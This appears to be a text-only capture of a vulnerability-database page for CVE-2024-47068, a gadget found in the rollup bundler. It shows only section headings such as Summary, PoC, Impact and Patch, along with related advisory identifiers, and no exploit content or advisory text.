Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2024-47068 (GCVE-0-2024-47068)

BREW-ROLLUP-CVE-2024-47068 (GHSA-GCX4-MW62-G8WM)

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

Solutions

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

UBUNTU-CVE-2024-47068 (CVE-2024-47068)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour

Gadget found in `rollup`

Gadget found in `rollup`